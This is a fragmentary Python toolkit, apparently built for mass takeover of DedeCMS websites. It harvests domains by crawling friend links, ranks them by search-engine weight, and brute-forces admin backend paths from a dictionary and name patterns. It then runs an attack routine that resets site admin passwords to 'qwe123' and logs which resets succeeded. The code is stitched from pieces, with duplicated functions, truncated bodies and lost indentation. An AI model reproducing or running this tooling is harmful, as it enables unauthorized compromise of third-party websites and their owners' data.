def load_url_txt():
path = './res/注册成功'
list = utils.get_lines(path)
for url in list:
if dbsqlite.data_select(url):
continue
dbsqlite.data_insert(url)
print('导入初始数据：%d条' % len(list))
def load_url_txt():
try:
path = './dict/导入采集种子'
list = utils.get_lines(path)
for url in list:
url = 'http://www.' + url
# if dbsqlite.data_select(url):
# continue
dbsqlite.data_insert(url)
print('导入初始数据：%d条' % len(list))
except Exception as e:
print(e)
def crawling(i):
while True:
try:
#title_words = ['银行', '政府', '管理', '内容', '系统']
path = './dict/采集标题过滤字典.txt'
title_words = utils.get_lines(path)
domain_model = dbsqlite.data_getlist(' is_crawl = 0 limit 1')[0]
if not domain_model:
print('线程：%d未查到采集源,等待3s' % i)
time.sleep(3)
continue
url = domain_model[1]
print('线程%d:%s' % (i, url))
response = my_requests(url)
if response:
response.encoding = response.apparent_encoding
response2_txt = response.text
title = re.findall('<title>(.+)</title>', response2_txt)[0]
if any(each in title for each in title_words):
dbsqlite.data_update(url,
"title = '%s',status = 1" % title)
continue
else:
dbsqlite.data_update(url, "title = '%s'" % title)
urllist = getUrllist(response.text, url)
print('%s友链数:%d' % (url, len(urllist)))
for curl in urllist:
# s = urllib.parse.urlparse(url).netloc
try:
res = utils.my_requests(url=curl,
try_count=1,
timeout=10)
if res:
curl = utils.format_domain(res.url, protocol=True)
else:
continue
except Exception as e:
continue
if dbsqlite.data_select(curl):
continue
dbsqlite.data_insert(curl)
else:
dbsqlite.data_update(url, 'status = 1')
except Exception as e:
print(e)
continue
def bash_select_weight():
domains = list(utils.get_lines("查权重"))
ress = {}
domains_g = utils.group_by_list(domains, 50)
for domains in domains_g:
try:
aizhan_api = "https://apistore.aizhan.com/baidurank/siteinfos/%s?domains=%s"
res = utils.my_requests(
aizhan_api % (my_key, "|".join(domains).replace(
"https://", "").replace("http://", "")))
for data in json.loads(res.text)["data"]["success"]:
ress.update({data["domain"]: data["pc_br"]})
except Exception as e:
traceback.print_exc()
ress = sorted(ress.items(), key=lambda d: d[1], reverse=True)
with open(file="./res/权重", mode="a") as fp:
for res in ress:
fp.write("\nd%s|%s" % (res[0], res[1]))
if res:
return True
elif num > 0:
print("尝试重新注册：" + domain)
return 注册(domain, num - 1)
def main():
while True:
# get domain
domain = ""
res = 注册(domain=domain)
#结果入库
if __name__ == "__main__":
domains = utils.get_lines("./验证注册")
for domain in domains:
try:
print(domain)
res = 注册(domain, 3)
if res:
with open("注册结果", "a") as f:
f.write(domain + '----注册成功\n')
else:
with open("注册结果", "a") as f:
f.write(domain + '----注册失败\n')
except Exception as e:
traceback.print_exc()
with open("注册结果", "a") as f:
f.write(domain + '----注册失败\n')
"domain": self.domain,
"res": False,
"info": "更新后台admin密码失败"
}
res = self.reset_back_admin()
return res
def attack(domain, back_ground_url):
domain = utils.format_domain(domain, True)
atk = Attack(domain=domain,
user="******",
pwd="qwe123",
back_ground_url=back_ground_url)
res = atk.start()
str_res = "domain:%s, info:%s" % (res["domain"], res["info"])
print(str_res)
if res["res"]:
with open(file="./res/重置结果.txt", mode="a", encoding="utf-8") as fp:
fp.write(str_res + "\n")
if __name__ == '__main__':
domains_info = utils.get_lines("./target/重置列表")
with open(file="./res/重置结果.txt", mode="a", encoding="utf-8") as fp:
fp.write(
"\n\n重置结果|%s\n" %
time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))
for domain in domains_info:
bk = "后台" if domain.split("|") == 1 else domain.split("|")[1]
attack(domain=domain.split("|")[0], back_ground_url=bk)
# -*- coding: utf-8 -*-
# 四、查找后台地址
# status：
# 6：已找到
# 7：未找到 -----单独程序跑后台，找到改为6，失败改为8
import traceback
from common import utils
import threading
import requests
from threading import Thread
import time
import tldextract
from unit import dbsqlite
base_back_dict = utils.get_lines("./dict/织梦后台字典.txt")
min_group = 0
thread_num = 1
R = threading.Lock()
def get_domains(status, num=1):
try:
R.acquire()
print("取数据")
domains = dbsqlite.start_getlist(' status = %s limit %d' %
(status, num))
if len(domains) < min_group:
return
d_str = []
for domain in domains:
import itertools
import traceback
from common import utils
from threading import Thread
import time
import re
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
base_back_dict = utils.get_lines("./dict/织梦后台字典.txt")
def try_common(domain):
back_dir_dict = []
s = domain.replace("http://", "").replace("https://", "")
n = len(s.split("."))
if n == 2:
path = s.split(".")[0]
back_dir_dict = [
path,
"admin_%s" % path,
"dede_%s" % path,
"ad_%s" % path,
"bk_%s" % path,
"background_%s" % path,
"houtai_%s" % path,
"%s_admin" % path,
"%s_dede" % path,
"%s_ad" % path,
"%s_bk" % path,
"%s_background" % path,
"%s_houtai" % path
